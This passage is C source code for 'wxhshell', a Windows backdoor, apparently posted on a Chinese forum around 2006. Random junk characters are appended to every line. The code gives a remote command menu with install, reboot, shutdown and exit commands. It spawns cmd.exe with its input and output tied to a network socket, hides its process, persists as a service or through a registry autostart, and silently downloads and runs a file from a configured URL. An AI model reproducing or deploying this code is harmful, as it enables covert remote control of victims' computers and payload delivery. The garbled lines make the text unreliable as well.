  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 CSz<[  
  } 3gXUfv2ID  
  else { HUX+d4sg  
, Vr6  
    switch(cmd[0]) { obkv ]~  
  `l@t3/  
  // 帮助 c=mFYsSv  
  case '?': { BU .G~0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )CU(~s|s  
    break; Xc<9[@  
  } c'4 \F9  
  // 安装 jDR\#cGrZ  
  case 'i': { m=y)i]=1  
    if(Install()) N1t:i? q&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tdp$laPO'  
    else 'Pn`V{a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D7oV&vXg  
    break; dv>zK#!  
    } p`ZGV97  
  // 卸载 }e6:&`a xD  
  case 'r': { T{Q&}`D)r  
    if(Uninstall()) 7m$/.\5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =sJHnWL[  
    else *]k"H`JoFC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L32ki}2  
    break; rGO 3  
    } au v\fR :  
  // 显示 wxhshell 所在路径 9dv~WtH>5  
  case 'p': { m]vr|:{6/  
    char svExeFile[MAX_PATH]; w|ei*L  
    strcpy(svExeFile,"\n\r"); D~,R @7  
      strcat(svExeFile,ExeFile); p5hP}Z4r  
        send(wsh,svExeFile,strlen(svExeFile),0); y2>] gX5  
    break; &ICO{#v5  
    } R["7%|RV  
  // 重启 G)`MoVH1  
  case 'b': { mLqm83  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2y,wN"qH*  
    if(Boot(REBOOT)) U9s y]7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}8%Gs4C  
    else { `w }"0+V  
    closesocket(wsh); 19DW~kvYk  
    ExitThread(0); |F`'m":$m  
    } XQPJ(.G  
    break; pQi -  
    } o%iTYR :x  
  // 关机 /cn_|DwN5  
  case 'd': { Gz:a1-x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cPSpPx  
    if(Boot(SHUTDOWN)) 5kz`_\ &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~]Jfg$'  
    else { j7zQ&ANF  
    closesocket(wsh); Zuf&maa S  
    ExitThread(0); )1ciO+_  
    } n_j[hA  
    break; .u&g2Y  
    } N 2\,6<  
  // 获取shell UWp(3FQ  
  case 's': { Hl51R"8o  
    CmdShell(wsh); %!RQ:?=  
    closesocket(wsh); RY&~{yl$"1  
    ExitThread(0); f32nO  
    break; <Z Ls+|1  
  } *(J<~:V?  
  // 退出 =:DNb(  
  case 'x': { A'T! og|5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }j x{Cw  
    CloseIt(wsh); xfilxd  
    break; LdL< 5Q[  
    } q :gH`5N  
  // 离开 q%l<Hw6{z  
  case 'q': { MWB?V?qPSC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0X;Dr-3<  
    closesocket(wsh); 3JwmLGj}  
    WSACleanup(); U}NNb GQj  
    exit(1); LS;kq',  
    break; z 'j%.Dd8  
        } 'yl`0,3wV  
  } 2ma.zI@^u9  
  } JP#m} W  
IaW8  
  // 提示信息 .d;/6HD[y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wx<DzC  
} bR.T94-8y  
  } 8I*fPf  
FBe 1f1 sm  
  return; ]>!]X*\9  
} <I7UyCAF  
6_XTeu  
// shell模块句柄 &iTsuA/7  
int CmdShell(SOCKET sock) "p<f#s}  
{ *}FoeDe  
STARTUPINFO si; 2e+DUZBoC  
ZeroMemory(&si,sizeof(si)); { aU~[5L3(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u4%-e )$X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UJO+7h'  
PROCESS_INFORMATION ProcessInfo; w(VH>t  
char cmdline[]="cmd"; ?k/Uw'J4u/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ltc>@  
  return 0; bBGLf)fsTG  
} o)w'w34FCT  
]ko>vQ4]3  
// 自身启动模式 M^H357r%  
int StartFromService(void) jQc$>M<"o  
{ /|Zk$q.\  
typedef struct &}6=V+J;  
{ 5'6Oan7dL:  
  DWORD ExitStatus; 23 3jT@Z  
  DWORD PebBaseAddress; i9$ -lk  
  DWORD AffinityMask; od$Cm5  
  DWORD BasePriority; ~|riFp=J  
  ULONG UniqueProcessId; (tys7og$'  
  ULONG InheritedFromUniqueProcessId; sOv:/'  
}   PROCESS_BASIC_INFORMATION; wTqgH@rGtR  
@r=O~x  
PROCNTQSIP NtQueryInformationProcess; ?z p$Wz;k  
u`7\o~$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aR+vY1d"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rqSeh/<iD  
;=aj)lemCr  
  HANDLE             hProcess; =#^\ 9|?$  
  PROCESS_BASIC_INFORMATION pbi;  9/`T]s"  
bt"*@NJ$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iU5M_M$G  
  if(NULL == hInst ) return 0; 0;KjP?5  
vT)FLhH6*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #,lJ>mTe4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?`lIsd  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9n%vz@X  
l*^c?lp)  
  if (!NtQueryInformationProcess) return 0; "`s{fy~mV  
Sjv_% C $  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tP^2NTs%]  
  if(!hProcess) return 0; /'O? 8X<  
16Cd0[h?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E.45 s? r  
"w7wd5h  
  CloseHandle(hProcess); ?)X 0l  
Y,n&g45m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gw O]U=Y  
if(hProcess==NULL) return 0; g:8k,1y5  
D?A3p6%  
HMODULE hMod; ?g+uJf  
char procName[255]; ';'gKX!9V  
unsigned long cbNeeded; rrz^LD  
2D;2QdO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rU/8R'S  
E?v:7p<  
  CloseHandle(hProcess); K-<<s  
`8M{13fv  
if(strstr(procName,"services")) return 1; // 以服务启动 #l 7(W G  
<Ukeq0  
  return 0; // 注册表启动 jc.Uh9Kc  
} R$,iDv.jI  
5|={1Lp24g  
// 主模块 :1  
int StartWxhshell(LPSTR lpCmdLine) 0r&9AnnWu+  
{ nU#q@p)Xg  
  SOCKET wsl; [5d][1=  
BOOL val=TRUE; o5A_j?t  
  int port=0; C+IE<=%F  
  struct sockaddr_in door; j`pR;XL1[  
{Ag}P0% '  
  if(wscfg.ws_autoins) Install(); H ?:#Ui(p  
Hjkgy%N  
port=atoi(lpCmdLine);  b- /x  
cCCplL  
if(port<=0) port=wscfg.ws_port; kO>{<$  
~7H.<kJt  
  WSADATA data; RN3D:b+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hmd:>_[f  
=KD*+.'\/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #al^Uqd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vb#@o)z  
  door.sin_family = AF_INET; AWNd(B2o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;MI<J>s  
  door.sin_port = htons(port); X'4 Yofs  
;a)\5Uy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QYGxr+D  
closesocket(wsl); mf'1.{  
return 1; b(Xg6  
} v w;  
YTit=4|  
  if(listen(wsl,2) == INVALID_SOCKET) { :.Sc[UI0  
closesocket(wsl); 3dphS ^X  
return 1; PSE| 4{'  
} rT)R*3  
  Wxhshell(wsl); %Q~Lk]B?t  
  WSACleanup(); #^V"=RbD  
yBiwYk6  
return 0; 4Pdk?vHK;  
lukV G2wDL  
} YPEd XU8}  
r&DK> H  
// 以NT服务方式启动 \&90$>h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lhTbgM  
{ /B7 GH5  
DWORD   status = 0; L]}|{< 3\  
  DWORD   specificError = 0xfffffff; 8< -Vkr  
=1qkoc~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AK =k@hT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t |hmEHUk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !Ua#smZ  
  serviceStatus.dwWin32ExitCode     = 0; KRe=n3 1  
  serviceStatus.dwServiceSpecificExitCode = 0; ](D [T  
  serviceStatus.dwCheckPoint       = 0; STI3|}G*P  
  serviceStatus.dwWaitHint       = 0; ]Ox.6BKjDP  
zOw]P6Gk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z wW9>Y  
  if (hServiceStatusHandle==0) return; jGCW^#GE  
\m!."~%  
status = GetLastError(); urB.K<5ZA  
  if (status!=NO_ERROR) ez>@'yhK  
{ t;'.D @  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x{}m)2[Y  
    serviceStatus.dwCheckPoint       = 0; (I5ra_FVs  
    serviceStatus.dwWaitHint       = 0; ngjbE+  
    serviceStatus.dwWin32ExitCode     = status; ceCshxTU  
    serviceStatus.dwServiceSpecificExitCode = specificError; hl+Yr)0\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z6qC6Ck|  
    return; /MC\ !,K  
  } L%"Mp(gZ  
o6R(BMwGa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N_0O"" d  
  serviceStatus.dwCheckPoint       = 0; hbK+\X  
  serviceStatus.dwWaitHint       = 0; n_<]9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i=4bY[y  
} x@~V975Y  
e_TM#J(3  
// 处理NT服务事件,比如:启动、停止 eD3F%wxz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `dK\VK^  
{ WA/\x  
switch(fdwControl) `6A"e Da  
{ dXj.e4,m  
case SERVICE_CONTROL_STOP: CHz(wn  
  serviceStatus.dwWin32ExitCode = 0; L0Cf@~k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; saV` -#  
  serviceStatus.dwCheckPoint   = 0; vB p5&*  
  serviceStatus.dwWaitHint     = 0; 5c#L6 dA)  
  { k[p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g`j%jQuY  
  } Km?i{TW  
  return; Rl~Tw9  
case SERVICE_CONTROL_PAUSE: j405G4BVW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t^'1Ebg  
  break; ZBGI_9wZ  
case SERVICE_CONTROL_CONTINUE: pkoHi'}}$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J L3A/^  
  break; zehF/HBzE  
case SERVICE_CONTROL_INTERROGATE: ax<0grK  
  break; f t7wMi  
}; .28*vkH%C=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uxcj3xE#d  
} P'K')]D=!  
V= _8G3  
// 标准应用程序主函数 Rz)#VVYC=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !CWqI)=  
{ ";~#epPkX  
c"~TH.,d  
// 获取操作系统版本 2{& " 3dq  
OsIsNt=GetOsVer(); f,1rmX1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x83XJFPWL  
5&>(|Y~I  
  // 从命令行安装 ofSOy1  
  if(strpbrk(lpCmdLine,"iI")) Install(); WO{N@f^  
34U~7P r9  
  // 下载执行文件 k\lj<v<vD  
if(wscfg.ws_downexe) { fZZ!kea[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N_ >s2  
  WinExec(wscfg.ws_filenam,SW_HIDE); xv2;h4{<  
} 2/~v  
{T IGPK  
if(!OsIsNt) { z TK  
// 如果时win9x,隐藏进程并且设置为注册表启动 <7p2OPD  
HideProc(); YZk&'w  
StartWxhshell(lpCmdLine); h{m]n!  
} &F:7U!  
else L}9 @kjW  
  if(StartFromService()) 56 )B/0=  
  // 以服务方式启动 VTHDGBU  
  StartServiceCtrlDispatcher(DispatchTable); R%Z} J R.  
else Ne[O9D 7  
  // 普通方式启动 " JRlj  
  StartWxhshell(lpCmdLine); vhg4E80Kr  
saZ ;ixV  
return 0; 0'~ ?u'  
}
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只看该作者 1 发表于: 2006-10-10
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